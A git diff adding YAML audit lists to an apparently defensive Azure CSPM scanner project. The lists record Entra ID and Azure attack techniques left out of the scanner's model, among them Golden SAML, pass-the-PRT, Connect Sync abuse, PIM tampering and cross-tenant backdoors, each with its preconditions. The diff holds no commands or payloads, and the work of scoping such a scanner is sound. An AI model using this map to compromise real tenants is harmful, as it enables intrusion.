source_revision: 171e422 + reason: "Section header; the concrete techniques are the sub-headings listed below." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#conditional-access-bypass-via-compliance-tampering--company-portal-foci + technique: Conditional Access bypass via compliance tampering / Company Portal FOCI + source_revision: 171e422 + reason: "Conditional Access / device-compliance bypass for an identity the attacker already controls; no new principal is gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#forged-ad-fs-sign-in-log-injection-fake-agent + technique: Forged AD FS sign-in log injection through a fake Connect Health agent + source_revision: 171e422 + reason: "Log forgery / defense evasion; does not grant any identity or permission." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#on-prem-agentkey-theft-from-an-ad-fs-host--event-replay + technique: Connect Health AgentKey theft from an AD FS host and event replay + source_revision: 171e422 + reason: "Starts from on-prem host compromise and only yields log injection; no cloud principal edge." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#hybrid-recon-on-prem-identity-leakage-via-connect-health-reader + technique: On-prem identity leakage via Connect Health reader access + source_revision: 171e422 + reason: "Reconnaissance / information disclosure only (the page notes the AgentKey-from-reader path was remediated)." +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#restricted-management-administrative-unit-rmau-to-shield-backdoor-objects + technique: Restricted-management administrative unit used to shield backdoor objects + source_revision: 171e422 + reason: "Persistence / anti-remediation; the restricted_management_au blocker already models its effect on other edges." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#pivoting-ad--entra-id + technique: Connect Sync server credential abuse (MSOL_ / ConnectSyncProvisioning_ / Sync_ accounts) + source_revision: 171e422 + reason: "Source is compromise of the on-prem sync server; cloud-side roles of the sync identities are already evaluated by the generic Entra role/permission entries." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#pivoting-entra-id--ad + technique: Entra ID to on-prem AD via password writeback / synced accounts + source_revision: 171e422 + reason: "Target is on-prem Active Directory, outside the cloud principal graph." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md#ad--entra-id + technique: Cloud Sync agent compromise to Entra ID + source_revision: 171e422 + reason: "Source is on-prem agent host compromise." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md#entra-id--ad + technique: Entra ID to on-prem AD via Cloud Sync writeback + source_revision: 171e422 + reason: "Target is on-prem Active Directory." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md#pivoting-from-entra-id-to-on-prem-ad + technique: Cloud Kerberos Trust pivot from Entra ID to on-prem AD + source_revision: 171e422 + reason: "Target is on-prem Active Directory (Domain Admin); not a cloud principal edge." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#golden-saml + technique: Golden SAML with a stolen AD FS token-signing key + source_revision: 171e422 + reason: "Source is on-prem AD FS key theft; the cloud-side federation backdoor is modelled by azure-entraid-domain-federation-backdoor." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#pivoting-on-prem---cloud + technique: Seamless SSO silver tickets (AZUREADSSOACC) + source_revision: 171e422 + reason: "Source is on-prem AD compromise." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md#matching-an-on-premises-account-to-an-existing-cloud-user + technique: Soft/hard match of an on-prem account onto an existing cloud user + source_revision: 171e422 + reason: "Requires control of on-prem AD objects in sync scope; source is outside the cloud graph." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-exchange-hybrid-impersonation.md#acs-actor-tokens-and-service-to-service-impersonation + technique: Exchange hybrid ACS actor-token impersonation + source_revision: 171e422 + reason: "Source is on-prem Exchange server compromise; the actor-token path is documented as patched." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#pass-the-prt + technique: Pass-the-PRT + source_revision: 171e422 + reason: "Token theft from a compromised device; same principal reused, no permission-derived edge." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md#attack + technique: Pass-the-cookie + source_revision: 171e422 + reason: "Session theft from a compromised host; same principal reused." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md#pass-the-certificate-azure + technique: Pass-the-certificate (P2P certificate) + source_revision: 171e422 + reason: "Credential theft from a compromised device; same principal reused." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md#exploit + technique: Azure Arc onboarding GPO script secret recovery + source_revision: 171e422 + reason: "Requires on-prem domain access to the deployment share; source is outside the cloud graph." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#b2b-guest-users + technique: B2B guest user abuse + source_revision: 171e422 + reason: "Guest default permissions are enumeration; any privileged roles/groups held by guests are evaluated by the regular Entra entries." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#multi-tenant-apps-and-oauth-consent-illicit-consent-grant + technique: Illicit consent grant via multi-tenant apps + source_revision: 171e422 + reason: "Phishing / user interaction; not a permission-derived edge." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#cross-tenant-access-settings + technique: Cross-tenant access settings abuse + source_revision: 171e422 + reason: "Policy that relaxes inbound trust (MFA/device claims); a bypass, no new principal." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#cross-tenant-synchronization + technique: Cross-tenant synchronization backdoor + source_revision: 171e422 + reason: "Persistence across tenants; the source tenant is out of the scanned graph." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#noauth-and-foci + technique: nOAuth and FOCI token reuse + source_revision: 171e422 + reason: "Application-side identity confusion / token reuse by the same principal; not expressible from tenant configuration." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#workload-identity-federation-cross-cloud-confused-deputy + technique: Workload identity federation confused deputy + source_revision: 171e422 + reason: "External-IdP trust; adding a FIC is covered by the application/SP credential-update entries." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/resource-and-service-sharing-attacks.md#resource--service-sharing-matrix + technique: Cross-tenant resource and service sharing + source_revision: 171e422 + reason: "Data-plane sharing (Key Vault, SQL, Cosmos, storage) owned by the resource groups of the catalog; no Entra identity edge." diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g1-entra.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g1-entra.yaml new file mode 100644 index 0000000000..6a5622e220 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g1-entra.yaml @@ -0,0 +1,103 @@ +# Azure privesc completeness audit (g1-entra): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicelocalcredentialspasswordread + technique: deviceLocalCredentials/password/read (Windows LAPS) + source_revision: a66f094ede + reason: Duplicate of azure-intune-laps-local-admin-device-user (same permission; local admin on the device leads to the session of its users). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + technique: Self-activate an eligible Azure resource (RBAC) role via roleAssignmentScheduleRequests SelfActivate + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G1-entra-proposals.md#azure-rbac-pim-eligibility - the directory-role half is modelled by azure-entraid-pim-eligible-role-activation, but + there is no requirement kind or selector for Azure resource role eligibility schedules (Microsoft.Authorization/roleEligibilityScheduleInstances).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-agent-id-blueprint-credential-abuse-agentidentityblueprintaddremovecredsall + technique: Blueprint owner / sponsor reaching the blueprint's child agent identities + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G1-entra-proposals.md#agent-blueprint-owner-child-identities - owners reach the blueprint principal through azure-entraid-app-owner-credentials, + but no selector restricts entra_agent_blueprint_principal_or_child_identity to blueprints the source owns or sponsors.' +- source: src/pentesting-cloud/azure-security/az-services/az-azuread.md#change-user-password + technique: Reset another user's password + source_revision: a66f094ede + reason: Duplicate of azure-entraid-reset-password-password-admin, azure-entraid-reset-password-helpdesk-admin, azure-entraid-reset-password-user-admin, azure-entraid-reset-credentials-authentication-admin + and azure-entraid-reset-credentials-privileged-auth-admin (the role-specific reset matrix). +- source: src/pentesting-cloud/azure-security/az-services/az-azuread.md#service-principals + technique: Owner or Graph-permitted principal adds a client secret to service principals / apps + source_revision: a66f094ede + reason: Duplicate of azure-entraid-sp-owner-credentials, azure-entraid-sp-credentials-update, azure-entraid-app-credentials-update and azure-entraid-graph-application-readwrite-all. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#weaken-the-gate-so-activation-stays-silent + technique: roleManagementPolicies/write removes MFA, approval and notifications + source_revision: a66f094ede + reason: Enabler only; the role is still obtained through an eligibility (azure-entraid-pim-eligible-role-activation). Privileged Role Administrator already reaches + every role via azure-entraid-role-assignment-manage. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#self-approval-loop + technique: Configure a controlled second principal as PIM approver + source_revision: a66f094ede + reason: Persistence of already-held rights; needs roleManagementPolicies/write (Privileged Role Administrator, already modelled by azure-entraid-role-assignment-manage) + and a second controlled principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#plant-eligible-assignments + technique: roleEligibilityScheduleRequests AdminAssign + source_revision: a66f094ede + reason: Needs the same rights as an active assignment - Privileged Role Administrator / RoleManagement.ReadWrite.Directory (azure-entraid-role-assignment-manage, + azure-entraid-graph-rolemanagement-readwrite-directory) or Owner / User Access Administrator (azure-authorization-roleassignments-write); persistence variant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#pim-for-groups-as-durable-indirect-privilege + technique: Eligible PIM for Groups membership on a role-assignable group + source_revision: a66f094ede + reason: Duplicate of azure-entraid-graph-pim-groups-eligibility, azure-entraid-graph-pim-groups-active-assignment and azure-entraid-pim-group-eligible-activation; + the policy-write variant is an enabler. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#connectedorganization-standing-backdoor-persistence + technique: connectedOrganization + no-approval access package for an external tenant + source_revision: a66f094ede + reason: Persistence for identities outside the scanned tenant; the required Identity Governance Administrator / EntitlementManagement.ReadWrite.All already reaches + the catalog groups and roles in azure-entraid-entitlement-catalog-self-grant-group / -role. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#backdoor-approver--policy-tamper-on-existing-packages-persistence + technique: Add self as approver / remove approval on an existing access package + source_revision: a66f094ede + reason: Duplicate of azure-entraid-entitlement-catalog-self-grant-group and azure-entraid-entitlement-catalog-self-grant-role (same catalog roles, same reached + resources); persistence variant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-intune-persistence.md#self-healing-persistence--defense-evasion-via-configuration-profiles + technique: Re-applied Intune configuration profiles / scripts + source_revision: a66f094ede + reason: Persistence of the same capability modelled by azure-intune-managed-device-user-code-execution (DeviceManagementConfiguration / DeviceManagementScripts + ReadWrite.All). +- source: src/pentesting-cloud/azure-security/az-persistence/az-intune-persistence.md#recurring-rce-via-proactive-remediations-persistence + technique: Scheduled SYSTEM execution via deviceHealthScripts + source_revision: a66f094ede + reason: Duplicate of azure-intune-managed-device-user-code-execution (DeviceManagementScripts.ReadWrite.All is one of its alternatives); recurring execution is + persistence. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-intune-post-exploitation.md#loot-secrets-from-existing-deployed-scripts-read-only + technique: Read scriptContent of deployed Intune scripts for embedded credentials + source_revision: a66f094ede + reason: Depends on secret content inside scripts (runtime data never read by the scanner); there is no secret-holder mapping for Intune scripts, so no target principal + can be derived. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-intune-post-exploitation.md#fleet-destruction--dos-via-privileged-device-actions + technique: Wipe / retire / lock managed devices + source_revision: a66f094ede + reason: Availability impact (DoS); grants no principal's privileges. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#foci-tokens-privilege-escalation + technique: FOCI refresh-token reuse across family clients + source_revision: a66f094ede + reason: The same user obtains tokens for other first-party clients and scopes; bounded by that user's own permissions, so no other principal's privileges are gained. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#the-role-assignment-primitive + technique: roleAssignments/write at a scope + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (authorization.yaml). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#global-administrator--root-scope-takeover-elevateaccess + technique: Global Administrator elevateAccess to root scope + source_revision: a66f094ede + reason: Duplicate of azure-authorization-elevateaccess-global-admin (authorization.yaml). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#management-group-scope-one-assignment-many-subscriptions + technique: Management-group-scoped role assignment + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (scope inheritance is evaluated for every Azure scope). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#azure-lighthouse-durable-cross-tenant-control-plane-access + technique: Lighthouse registrationDefinitions / registrationAssignments to an attacker tenant + source_revision: a66f094ede + reason: Onboarding needs Owner-level rights at the scope (already scope owner via azure-authorization-roleassignments-write); the beneficiary principals live in + a managing tenant outside the scanned graph (persistence). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#subscription-to-tenant-transfer-re-homing + technique: Change a subscription's directory + source_revision: a66f094ede + reason: Needs a directly assigned subscription Owner (already scope owner); moves resources to another tenant and deletes RBAC - exfiltration/DoS, no principal + gained in the scanned tenant. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#management-group-hierarchy-settings-tamper-default-mg-hijack + technique: managementGroups/settings/write default-MG hijack + source_revision: a66f094ede + reason: Only subscriptions created after the change inherit the attacker MG's assignments (future state); no existing principal or scope is reached at scan time. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g2-hybrid.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g2-hybrid.yaml new file mode 100644 index 0000000000..9228374dc4 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g2-hybrid.yaml @@ -0,0 +1,80 @@ +# Azure privesc completeness audit (g2-hybrid): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md#pivoting + technique: PTA agent backdoor on the sync host, or rogue PTA agent registered by a Global Administrator + source_revision: a66f094ede + reason: Agent backdoor needs local administrator on the on-prem PTA host (outside the cloud graph); registering a rogue agent needs Global Administrator, which + already reaches every user, so it adds only credential harvesting (persistence of held privileges). +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#abusing-connectsyncprovisioning_connectsync_ + technique: ConnectSyncProvisioning application certificate theft and key addition + source_revision: a66f094ede + reason: Requires stealing the application certificate from the sync server process (host compromise); the application has no directory roles and its sync-API abuse + is undocumented, so there is no configuration-derived edge. Adding keys afterwards is persistence of the same identity. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#abusing-msol_ + technique: MSOL_ connector account DCSync + source_revision: a66f094ede + reason: MSOL_ is an on-prem AD account and the target is the on-prem domain; outside the cloud principal graph. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-exchange-hybrid-impersonation.md#modify-federation-configuration-via-exchange + technique: Federation configuration changes with Exchange hybrid first-party tokens + source_revision: a66f094ede + reason: Source is on-prem Exchange server compromise and the Exchange token permissions are documented as removed; the cloud-side federation change by tenant principals + is azure-entraid-domain-federation-backdoor. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#on-prem---cloud-via-resource-based-constrained-delegation + technique: Seamless SSO via RBCD on AZUREADSSOACC$ + source_revision: a66f094ede + reason: Requires write access to the on-prem AZUREADSSOACC$ computer object; source is on-prem AD. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#creating-kerberos-tickets-for-cloud-only-users + technique: Kerberos tickets for cloud-only users via Seamless SSO + source_revision: a66f094ede + reason: Documented as no longer working (struck through on the page) and requires the on-prem AZUREADSSOACC$ key. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#recover-the-active-ad-fs-key-through-machine-dpapi + technique: AD FS token-signing key recovery through machine DPAPI + source_revision: a66f094ede + reason: Requires administrator on the on-prem AD FS server; source is outside the cloud graph. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#aws--ad-fs--golden-saml + technique: Golden SAML into AWS through AD FS + source_revision: a66f094ede + reason: Requires the on-prem AD FS signing key; the AWS SAML trust side is modelled by the AWS catalog, not from Azure configuration. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#abusing-protected-prts + technique: Requesting tokens through the Windows token broker with a TPM-protected PRT + source_revision: a66f094ede + reason: Needs code execution in the user's session on a joined device (runtime host state); the same user's privileges are reused. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#phishing-prts + technique: Device-code phishing with the broker client to obtain a PRT + source_revision: a66f094ede + reason: Requires the victim to complete an interactive sign-in (phishing); not derivable from the source principal's permissions. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#local-token-storage-and-security-considerations + technique: Azure CLI / PowerShell token caches on a host + source_revision: a66f094ede + reason: Needs file or memory access on a host where the user signed in (runtime host state); same principal reused. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#secrets-in-azure-enumeration-artifacts + technique: Application secrets left in enumeration output files + source_revision: a66f094ede + reason: Secret discovery in local files is runtime host state, not configuration; credential reuse of the leaked application is not a permission edge. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#tokens-in-memory + technique: Tokens extracted from process memory + source_revision: a66f094ede + reason: Needs memory access on a host (runtime state); same principal reused. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-registering-a-device-with-sso-tokens + technique: Registering a device with stolen SSO tokens (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required stolen tokens of the same user. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-overwriting-a-device-ticket + technique: Overwriting a device transport key (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required a vulnerability in device registration. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-overwrite-whfb-key + technique: Overwriting a Windows Hello for Business key (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required a vulnerability and a token of the same user (persistence, not escalation). +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#reusable-workflows-and-job_workflow_ref-scoping + technique: Federated credential subjects scoped to reusable workflows + source_revision: a66f094ede + reason: The source is an external GitHub workflow identity, not a tenant principal; the FIC subject is not matched against repository contents in the snapshot. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#code-execution-vectors-that-bypass-job_workflow_ref-protections + technique: Code execution in CI that satisfies a federated credential subject + source_revision: a66f094ede + reason: Needs write or pull-request access to an external repository and its workflow contents; outside the Azure configuration graph. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#terraform-plan-as-an-execution-primitive-in-prs + technique: Terraform plan in pull requests as a CI execution primitive + source_revision: a66f094ede + reason: Needs pull-request access to an external repository; outside the Azure configuration graph. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g3-rbac-control.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g3-rbac-control.yaml new file mode 100644 index 0000000000..b1bbe066cf --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g3-rbac-control.yaml @@ -0,0 +1,22 @@ +# Azure privesc completeness audit (g3-rbac-control): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + technique: keys/sign (and keys/decrypt) forging artefacts for non-Entra consumers + source_revision: a66f094ede + reason: Forging JWT/SAML/code-signing artefacts trusted by a custom application is application-level trust abuse, and key usage by consumers is not collected. The + Entra service-principal certificate case (client assertion signed by a vault key) is modelled by azure-keyvault-key-sign-sp-client-assertion. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + technique: BloodHound AZGetKeys (keys/read) + source_revision: a66f094ede + reason: Key get returns only the public portion of a key; private key material is never exported by the key API. The identity risk is secrets/get and certificate + private keys (returned through the secret), already modelled by azure-keyvault-secret-read-sp-credentials, and signing, modelled by azure-keyvault-key-sign-sp-client-assertion. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#compromising-state-configuration + technique: Azure Automation State Configuration (DSC) configuration push to registered nodes + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G3-rbac-control-proposals.md#automation-dsc-node-host-link. configurations/write + compilationjobs/write + nodeConfigurations/write runs + SYSTEM code on every DSC node of the account (and thus their managed identities), but the evaluator has no host link from an Automation account to its DSC nodes + (azure_host_linked_to_pivot only knows automation_hybrid_worker). The VM DSC extension route is already modelled in virtual_machines.yaml.' +- source: src/pentesting-cloud/azure-security/az-services/az-misc.md#power-apps + technique: Reuse a broadly shared Power Apps on-premises SQL connection through Power Query + source_revision: a66f094ede + reason: Power Platform connection sharing and on-premises data gateways are not part of the Azure/Entra snapshot, and the gain is the on-premises SQL login behind + the connection, not an Azure/Entra principal. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g4-compute.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g4-compute.yaml new file mode 100644 index 0000000000..ec78a2a0be --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g4-compute.yaml @@ -0,0 +1,18 @@ +# Azure privesc completeness audit (g4-compute): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--client-certificate-theft--data-plane-admin + technique: Cluster / admin client certificate theft from Key Vault + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G4-compute-proposals.md#service-fabric-cluster-certificate-vault (Key Vault secret Get on the vault holding the cluster certificate gives + Service Fabric admin and then node code execution; the evaluator has no link from a vault to the Service Fabric cluster whose certificate it stores). The node-foothold + route is azure-servicefabric-application-deploy-node-identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountswrite--re-enable-sharedkey-auth-re-point-auto-storage-attach-account-identity + technique: Batch account write + source_revision: a66f094ede + reason: Re-enabling SharedKey only lifts the shared_key_auth_mode condition of azure-batch-shared-key-task-submission (listkeys/regeneratekeys still required); + auto-storage repoint is storage tampering; the account-level identity is used by the service (CMK, auto-storage) and is not exposed to node code. Pool identity + paths are azure-batch-pool-write-starttask and azure-batch-pool-write-assign-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-guest-configuration-persistence.md#fleet-wide-persistence-via-azure-policy--guest-configuration + technique: Fleet-wide persistence via Azure Policy + guest configuration + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (the documented set includes roleAssignments/write, which already grants any role at that scope); + the per-machine gain is azure-guestconfiguration-assignment-write / -arc. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g5-apps.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g5-apps.yaml new file mode 100644 index 0000000000..9a637bfba2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g5-apps.yaml @@ -0,0 +1,27 @@ +# Azure privesc completeness audit (g5-apps): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfiglistaction + technique: App settings / connection strings listing + source_revision: a66f094ede + reason: Duplicate of azure-appservice-publishing-credentials-basic-auth-enabled and azure-appservice-publishing-credentials-enable-basic-auth (publishing credentials), + azure-appservice-easyauth-client-secret (service-principal secrets in settings) and azure-functions-config-list-storage-key (content storage key); all include + config/list/action. Other settings are data exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigsnapshotslistsecretsaction-microsoftwebsitesslotsconfigsnapshotslistsecretsaction + technique: Config snapshot listSecrets (site and slot) + source_revision: a66f094ede + reason: Duplicate of azure-appservice-easyauth-client-secret and azure-functions-config-list-storage-key, whose any_of include config/snapshots/listsecrets/action + and slots/config/snapshots/listsecrets/action. Other historical settings are data exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesslotsconfiglistaction + technique: Slot app settings listing + source_revision: a66f094ede + reason: Duplicate of azure-appservice-slot-publishxml (slot publishing credentials), azure-functions-config-list-storage-key (storage key) and azure-appservice-easyauth-client-secret + (stored SP secrets); all include slots/config/list/action as an any_of alternative. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicebackendswrite + technique: Backend URL/credential redirect + source_revision: a66f094ede + reason: The Named Value header capture is duplicate of azure-apim-named-value-secret (backends/write any_of alternative); redirecting the backend URL alone is traffic + interception of unknown content with no identity gain. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#read-logic-app-trigger-and-integration-account-callback-urls + technique: Read Logic App trigger and integration-account callback URLs + source_revision: a66f094ede + reason: Runs the existing, unmodified workflow definition only (confused deputy), like the excluded listCallbackUrl actions of az-logic-apps-privesc.md; integration-account + URLs are artifact content reads. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g6-containers.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g6-containers.yaml new file mode 100644 index 0000000000..c9b6e480d9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g6-containers.yaml @@ -0,0 +1,50 @@ +# Azure privesc completeness audit (g6-containers): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-apps-post-exploitation.md#microsoftappmanagedenvironmentsdaprcomponentswrite---redirect-a-future-dapr-operation + technique: Dapr component write (blind redirect of a future Dapr operation) + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + reason: Redirects future state/pub-sub/binding data flows to an attacker destination; any identity effect depends on what the app later does through the component + (application logic), not on RBAC. Component listSecrets is modelled by azure-containerapp-dapr-component-list-secrets. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#namespace-scoped-kubernetes-writer-secret-reads + technique: Namespace-scoped RBAC Writer / Arc Writer / Fleet Writer generic Secret read + source_revision: a66f094ede + reason: 'A generic Secret read is data disclosure. Modern projected ServiceAccount tokens are not automatically stored in Secret objects. A principal edge would require a verified usable credential in the exact Secret, an accepted named subject, and additional effective permissions; Azure currently lacks this Secret-to-subject evidence join.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: Namespace-scoped AKS RBAC Writer creates a Pod as a more privileged ServiceAccount + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#azure-k8s-service-account-targets. A true path exists when the Azure RBAC data action permits Pod creation, the Pod is admitted and scheduled with an exact ServiceAccount, and that account has newly reachable permissions. The Azure catalog has no Azure resource-to-Kubernetes ServiceAccount and admission join, so the generic Writer role alone cannot emit an exact target edge.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#kubernetes-rbac-operations + technique: AKS Fleet Manager member data actions (fleets/members/.../bind, escalate, impersonate, exec) across member clusters + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#aks-fleet-member-clusters. The actions are granted on the fleet member resource, not the member cluster, and no + placeholder maps a cluster target to its fleet membership.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + technique: fleets/listCredentials (fleet hub kubeconfig) + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G6-containers-proposals.md#aks-fleet-member-clusters. The hub kubeconfig is an Entra exec-plugin credential; member-cluster control also + needs the fleet member data actions, whose cluster mapping is not expressible.' +- source: 